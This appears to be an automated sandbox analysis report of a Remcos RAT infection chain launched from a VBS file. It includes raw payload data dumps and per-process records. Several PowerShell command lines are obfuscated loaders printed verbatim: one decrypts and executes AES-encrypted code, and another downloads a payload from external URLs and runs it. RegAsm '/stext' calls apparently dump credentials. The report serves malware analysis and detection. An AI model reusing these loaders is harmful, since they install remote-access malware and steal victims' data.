39/f39/f39/f39/Q/6x9vi60xP/4BKFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWOdAPd/MPft7rUEYHv0cdHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dD4Vy+v//m
2024-07-27 11:31:30 UTC	16384	IN	Data Raw: 74 46 68 30 5a 6c 72 47 57 6e 39 6e 50 56 57 38 70 38 37 54 59 73 78 73 58 31 54 42 42 44 4c 68 54 77 52 72 32 6c 63 78 44 4e 44 75 61 59 2f 6d 78 63 76 34 41 45 63 79 43 65 4f 74 6b 46 39 70 51 6a 75 48 46 66 48 31 47 41 4f 79 4e 35 57 44 62 39 31 51 77 73 4f 71 77 47 55 37 2b 74 33 51 53 57 76 4c 75 32 47 75 6c 70 62 55 65 58 2f 52 63 63 4c 4a 47 41 34 31 5a 33 39 48 50 4e 57 36 65 58 48 71 6d 69 4e 64 2b 71 72 66 4c 68 66 36 33 79 34 58 2b 74 38 75 46 2f 72 66 4c 68 66 36 33 79 34 58 2b 74 38 75 45 36 35 30 38 39 4a 76 52 2f 73 43 4c 4b 32 59 65 43 72 31 30 49 77 69 38 61 69 6a 46 65 44 71 71 2f 6e 58 74 30 79 36 7a 79 34 63 55 37 36 64 4b 4e 79 2f 30 6d 54 71 33 79 34 58 2b 74 38 75 46 2f 72 66 4c 68 66 36 33 79 34 58 2b 74 38 75 46 2f 72 66 4c 68 4a Data Ascii: tFh0ZlrGWn9nPVW8p87TYsxsX1TBBDLhTwRr2lcxDNDuaY/mxcv4AEcyCeOtkF9pQjuHFfH1GAOyN5WDb91QwsOqwGU7+t3QSWvLu2GulpbUeX/RccLJGA41Z39HPNW6eXHqmiNd+qrfLhf63y4X+t8uF/rfLhf63y4X+t8uE65089JvR/sCLK2YeCr10Iwi8aijFeDqq/nXt0y6zy4cU76dKNy/0mTq3y4X+t8uF/rfLhf63y4X+t8uF/rfLhJ
2024-07-27 11:31:30 UTC	16384	IN	Data Raw: 51 69 59 49 77 69 70 52 53 6b 2f 45 76 77 74 4c 63 49 59 4a 59 59 30 53 53 55 4c 41 50 53 51 4a 32 6c 59 49 34 63 37 62 5a 4c 4c 44 50 44 42 6d 42 67 73 2b 4d 6b 45 4f 42 31 4d 48 63 76 42 72 36 30 37 77 34 33 66 55 31 55 4d 4d 46 46 46 73 71 5a 6d 57 50 4c 51 53 39 71 62 77 67 30 44 6f 36 37 70 52 45 65 75 45 62 65 37 6e 42 79 56 50 51 41 2f 73 72 69 68 46 49 4d 70 4a 47 54 6a 53 30 78 6e 2f 70 76 71 47 43 47 4e 68 73 79 56 2f 54 4c 4f 66 51 77 4f 4f 42 2f 72 66 31 6b 6d 36 76 79 34 62 4d 55 78 74 69 38 38 46 70 72 2b 67 39 6a 46 54 73 67 64 39 57 61 6b 42 4c 6b 68 72 76 6e 73 74 73 44 4f 72 43 76 36 6a 51 52 45 76 35 4a 55 34 63 76 52 6d 43 4d 55 61 77 4a 52 53 77 5a 72 39 72 48 66 4c 44 6a 4a 42 50 6f 5a 6a 42 33 4a 67 4f 67 61 79 32 73 69 30 49 48 56 Data Ascii: QiYIwipRSk/EvwtLcIYJYY0SSULAPSQJ2lYI4c7bZLLDPDBmBgs+MkEOB1MHcvBr607w43fU1UMMFFFsqZmWPLQS9qbwg0Do67pREeuEbe7nByVPQA/srihFIMpJGTjS0xn/pvqGCGNhsyV/TLOfQwOOB/rf1km6vy4bMUxti88Fpr+g9jFTsgd9WakBLkhrvnstsDOrCv6jQREv5JU4cvRmCMUawJRSwZr9rHfLDjJBPoZjB3JgOgay2si0IHV
2024-07-27 11:31:30 UTC	16384	IN	Data Raw: 36 76 34 79 43 2b 48 63 32 32 39 35 61 4e 4a 36 30 38 46 49 72 4a 45 49 6a 2b 30 4c 70 2b 45 61 33 79 37 76 74 69 6a 65 42 2f 39 58 59 71 4a 53 52 48 42 33 36 74 38 6d 69 35 2b 30 77 58 65 33 33 72 59 4a 47 58 61 52 64 57 4c 44 53 4f 2f 49 72 69 61 47 6b 30 56 30 78 50 54 73 72 4d 7a 4c 76 7a 31 43 46 47 31 78 53 32 4e 57 68 31 55 6d 5a 4a 31 70 76 2b 70 62 4b 33 74 59 37 68 62 66 6b 4b 4e 67 6a 79 72 4c 66 30 47 42 54 67 66 36 32 6a 57 43 42 43 4c 4d 54 2b 58 4c 35 69 75 7a 31 7a 45 45 56 39 36 46 54 32 70 50 30 68 67 45 53 67 65 37 4b 51 6d 50 4b 43 4f 62 6b 79 4a 4d 6a 36 48 64 59 37 7a 74 2f 4e 44 38 4f 7a 5a 73 67 38 64 50 4f 54 71 2b 36 34 6e 59 76 68 66 36 33 79 34 58 2b 74 38 75 46 2f 72 66 4c 68 66 36 33 79 34 58 2b 74 38 75 46 2f 72 61 61 38 57 Data Ascii: 6v4yC+Hc2295aNJ608FIrJEIj+0Lp+Ea3y7vtijeB/9XYqJSRHB36t8mi5+0wXe33rYJGXaRdWLDSO/IriaGk0V0xPTsrMzLvz1CFG1xS2NWh1UmZJ1pv+pbK3tY7hbfkKNgjyrLf0GBTgf62jWCBCLMT+XL5iuz1zEEV96FT2pP0hgESge7KQmPKCObkyJMj6HdY7zt/ND8OzZsg8dPOTq+64nYvhf63y4X+t8uF/rfLhf63y4X+t8uF/raa8W
2024-07-27 11:31:30 UTC	16384	IN	Data Raw: 39 35 4e 43 65 51 63 77 74 51 43 73 70 33 4b 54 46 37 42 33 61 37 62 32 57 74 31 2f 6c 6f 6f 4a 46 37 56 65 44 66 4e 78 4b 7a 31 34 44 69 56 45 37 30 62 66 4e 66 70 4a 31 4e 7a 48 6d 34 4a 55 6f 44 42 59 76 2b 35 61 69 58 76 2f 66 4c 73 62 68 67 32 5a 6e 7a 6c 4e 69 39 39 2f 4d 70 75 61 33 4a 59 56 64 6c 63 74 45 31 2f 30 69 51 6d 50 4f 74 59 4c 32 78 4c 46 79 55 4c 42 6a 32 42 39 2f 74 59 4c 30 6e 51 62 53 72 2b 32 35 6f 6d 61 54 6b 66 42 6b 6f 4e 4a 31 30 39 45 52 36 68 6e 76 67 64 54 2b 4a 79 5a 75 44 6c 51 64 6a 6e 77 59 62 31 4b 37 45 36 4c 2b 71 65 71 4f 31 37 7a 55 6e 59 4e 5a 47 6f 58 39 63 38 33 63 71 4a 53 33 79 43 42 65 74 77 75 46 2f 52 54 44 73 65 36 32 69 43 55 41 58 38 4f 48 32 4f 43 6a 67 66 36 32 69 57 52 51 47 64 64 35 4b 2b 4b 6d 6f 4d Data Ascii: 95NCeQcwtQCsp3KTF7B3a7b2Wt1/looJF7VeDfNxKz14DiVE70bfNfpJ1NzHm4JUoDBYv+5aiXv/fLsbhg2ZnzlNi99/Mpua3JYVdlctE1/0iQmPOtYL2xLFyULBj2B9/tYL0nQbSr+25omaTkfBkoNJ109ER6hnvgdT+JyZuDlQdjnwYb1K7E6L+qeqO17zUnYNZGoX9c83cqJS3yCBetwuF/RTDse62iCUAX8OH2OCjgf62iWRQGdd5K+KmoM
2024-07-27 11:31:30 UTC	1536	IN	Data Raw: 59 59 54 31 6d 56 42 6d 53 6e 4a 45 39 61 66 71 33 79 58 69 31 54 4d 65 54 37 64 6e 4d 57 36 4d 30 73 75 52 6b 6f 4b 32 43 51 35 6d 4f 32 53 31 73 32 53 2f 35 43 68 4f 79 35 68 66 4d 61 39 42 42 4a 34 48 2b 74 57 73 61 48 4b 44 41 6d 66 41 6a 7a 61 34 75 55 4f 6d 42 4d 77 78 38 6f 37 69 7a 42 79 59 33 4f 63 47 42 55 34 5a 59 4a 75 79 6b 67 5a 61 55 6b 64 77 5a 2b 72 66 4a 5a 6b 77 56 46 74 52 6c 61 4d 42 65 46 67 4c 58 33 58 38 33 48 69 68 63 39 65 74 53 31 56 2f 57 64 47 56 6f 31 36 2f 43 73 4d 57 72 36 53 76 50 68 66 32 72 78 41 69 67 32 2b 6d 42 55 38 2f 35 38 55 46 6f 77 72 6d 39 6c 6e 57 42 4d 4a 61 4d 2f 5a 53 7a 42 55 6c 76 44 46 57 57 4a 4b 52 55 6d 2b 76 7a 77 34 58 39 49 6f 42 68 4d 4b 54 4a 67 79 76 7a 77 34 58 2b 4c 2b 5a 7a 44 2b 6b 31 6d 66 Data Ascii: YYT1mVBmSnJE9afq3yXi1TMeT7dnMW6M0suRkoK2CQ5mO2S1s2S/5ChOy5hfMa9BBJ4H+tWsaHKDAmfAjza4uUOmBMwx8o7izByY3OcGBU4ZYJuykgZaUkdwZ+rfJZkwVFtRlaMBeFgLX3X83Hihc9etS1V/WdGVo16/CsMWr6SvPhf2rxAig2+mBU8/58UFowrm9lnWBMJaM/ZSzBUlvDFWWJKRUm+vzw4X9IoBhMKTJgyvzw4X+L+ZzD+k1mf

Target ID:	0
Start time:	07:30:55
Start date:	27/07/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\createdthingstobefrankwithmeeverywhere.gIF.vbs"
Imagebase:	0x7ff6a6300000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	07:30:55
Start date:	27/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)\|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000002.00000002.2109299164.000001B1E188F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000002.00000002.2109299164.000001B1E188F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000002.00000002.2109299164.000001B1E188F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000002.00000002.2109299164.000001B1E269C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000002.00000002.2109299164.000001B1E269C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000002.00000002.2109299164.000001B1E269C000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	07:30:55
Start date:	27/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	07:31:01
Start date:	27/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x8a0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000002.3265268792.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	07:31:07
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs"
Imagebase:	0x2e0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	6
Start time:	07:31:08
Start date:	27/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yrfptuyewdgikkwbbqnxbflydidjpkpem"
Imagebase:	0x1c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	07:31:08
Start date:	27/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yrfptuyewdgikkwbbqnxbflydidjpkpem"
Imagebase:	0xca0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	07:31:08
Start date:	27/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\jmlaun"
Imagebase:	0xec0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	07:31:09
Start date:	27/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\tgqsvxbzg"
Imagebase:	0xb30000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	07:31:11
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h, N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance (Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94 'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L ');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,. G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
Imagebase:	0x70000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	11
Start time:	07:31:11
Start date:	27/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	07:31:12
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true